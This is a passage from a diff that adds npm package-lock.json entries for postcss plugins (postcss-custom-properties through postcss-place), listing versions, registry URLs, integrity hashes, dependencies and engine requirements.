+      "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.3"
+      }
+    },
+    "node_modules/postcss-custom-properties": {
+      "version": "12.1.9",
+      "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-12.1.9.tgz",
+      "integrity": "sha512-/E7PRvK8DAVljBbeWrcEQJPG72jaImxF3vvCNFwv9cC8CzigVoNIpeyfnJzphnN3Fd8/auBf5wvkw6W9MfmTyg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-custom-selectors": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz",
+      "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.4"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.3"
+      }
+    },
+    "node_modules/postcss-dir-pseudo-class": {
+      "version": "6.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz",
+      "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-discard-comments": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz",
+      "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-discard-duplicates": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz",
+      "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-discard-empty": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz",
+      "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-discard-overridden": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz",
+      "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-double-position-gradients": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz",
+      "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-env-function": {
+      "version": "4.0.6",
+      "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-4.0.6.tgz",
+      "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-flexbugs-fixes": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz",
+      "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==",
+      "peerDependencies": {
+        "postcss": "^8.1.4"
+      }
+    },
+    "node_modules/postcss-focus-visible": {
+      "version": "6.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz",
+      "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-focus-within": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz",
+      "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-font-variant": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz",
+      "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==",
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-gap-properties": {
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz",
+      "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==",
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-image-set-function": {
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz",
+      "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-import": {
+      "version": "14.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz",
+      "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.0.0",
+        "read-cache": "^1.0.0",
+        "resolve": "^1.1.7"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.0.0"
+      }
+    },
+    "node_modules/postcss-initial": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz",
+      "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==",
+      "peerDependencies": {
+        "postcss": "^8.0.0"
+      }
+    },
+    "node_modules/postcss-js": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.0.tgz",
+      "integrity": "sha512-77QESFBwgX4irogGVPgQ5s07vLvFqWr228qZY+w6lW599cRlK/HmnlivnnVUxkjHnCu4J16PDMHcH+e+2HbvTQ==",
+      "dependencies": {
+        "camelcase-css": "^2.0.1"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >= 16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/postcss/"
+      },
+      "peerDependencies": {
+        "postcss": "^8.3.3"
+      }
+    },
+    "node_modules/postcss-lab-function": {
+      "version": "4.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz",
+      "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-load-config": {
+      "version": "3.1.4",
+      "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz",
+      "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==",
+      "dependencies": {
+        "lilconfig": "^2.0.5",
+        "yaml": "^1.10.2"
+      },
+      "engines": {
+        "node": ">= 10"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/postcss/"
+      },
+      "peerDependencies": {
+        "postcss": ">=8.0.9",
+        "ts-node": ">=9.0.0"
+      },
+      "peerDependenciesMeta": {
+        "postcss": {
+          "optional": true
+        },
+        "ts-node": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/postcss-loader": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-6.2.1.tgz",
+      "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==",
+      "dependencies": {
+        "cosmiconfig": "^7.0.0",
+        "klona": "^2.0.5",
+        "semver": "^7.3.5"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "postcss": "^7.0.0 || ^8.0.1",
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/postcss-logical": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-5.0.4.tgz",
+      "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==",
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-media-minmax": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz",
+      "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==",
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-merge-longhand": {
+      "version": "5.1.6",
+      "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz",
+      "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0",
+        "stylehacks": "^5.1.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-merge-rules": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz",
+      "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "caniuse-api": "^3.0.0",
+        "cssnano-utils": "^3.1.0",
+        "postcss-selector-parser": "^6.0.5"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-minify-font-values": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz",
+      "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-minify-gradients": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz",
+      "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==",
+      "dependencies": {
+        "colord": "^2.9.1",
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-minify-params": {
+      "version": "5.1.3",
+      "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz",
+      "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-minify-selectors": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz",
+      "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.5"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-modules-extract-imports": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz",
+      "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==",
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-modules-local-by-default": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz",
+      "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==",
+      "dependencies": {
+        "icss-utils": "^5.0.0",
+        "postcss-selector-parser": "^6.0.2",
+        "postcss-value-parser": "^4.1.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-modules-scope": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz",
+      "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.4"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-modules-values": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz",
+      "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==",
+      "dependencies": {
+        "icss-utils": "^5.0.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/postcss-nested": {
+      "version": "5.0.6",
+      "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-5.0.6.tgz",
+      "integrity": "sha512-rKqm2Fk0KbA8Vt3AdGN0FB9OBOMDVajMG6ZCf/GoHgdxUJ4sBFp0A/uMIRm+MJUdo33YXEtjqIz8u7DAp8B7DA==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.6"
+      },
+      "engines": {
+        "node": ">=12.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/postcss/"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.14"
+      }
+    },
+    "node_modules/postcss-nesting": {
+      "version": "10.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-10.2.0.tgz",
+      "integrity": "sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==",
+      "dependencies": {
+        "@csstools/selector-specificity": "^2.0.0",
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-normalize": {
+      "version": "10.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize/-/postcss-normalize-10.0.1.tgz",
+      "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==",
+      "dependencies": {
+        "@csstools/normalize.css": "*",
+        "postcss-browser-comments": "^4",
+        "sanitize.css": "*"
+      },
+      "engines": {
+        "node": ">= 12"
+      },
+      "peerDependencies": {
+        "browserslist": ">= 4",
+        "postcss": ">= 8"
+      }
+    },
+    "node_modules/postcss-normalize-charset": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz",
+      "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-display-values": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz",
+      "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-positions": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz",
+      "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-repeat-style": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz",
+      "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-string": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz",
+      "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-timing-functions": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz",
+      "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-unicode": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz",
+      "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-url": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz",
+      "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==",
+      "dependencies": {
+        "normalize-url": "^6.0.1",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-normalize-whitespace": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz",
+      "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-opacity-percentage": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.2.tgz",
+      "integrity": "sha512-lyUfF7miG+yewZ8EAk9XUBIlrHyUE6fijnesuz+Mj5zrIHIEw6KcIZSOk/elVMqzLvREmXB83Zi/5QpNRYd47w==",
+      "funding": [
+        {
+          "type": "kofi",
+          "url": "https://ko-fi.com/mrcgrtz"
+        },
+        {
+          "type": "liberapay",
+          "url": "https://liberapay.com/mrcgrtz"
+        }
+      ],
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      }
+    },
+    "node_modules/postcss-ordered-values": {
+      "version": "5.1.3",
+      "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz",
+      "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==",
+      "dependencies": {
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-overflow-shorthand": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz",
+      "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-page-break": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-page-break/-/postcss-page-break-3.0.4.tgz",
+      "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==",
+      "peerDependencies": {
+        "postcss": "^8"
+      }
+    },
+    "node_modules/postcss-place": {
+      "version": "7.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-7.0.5.tgz",
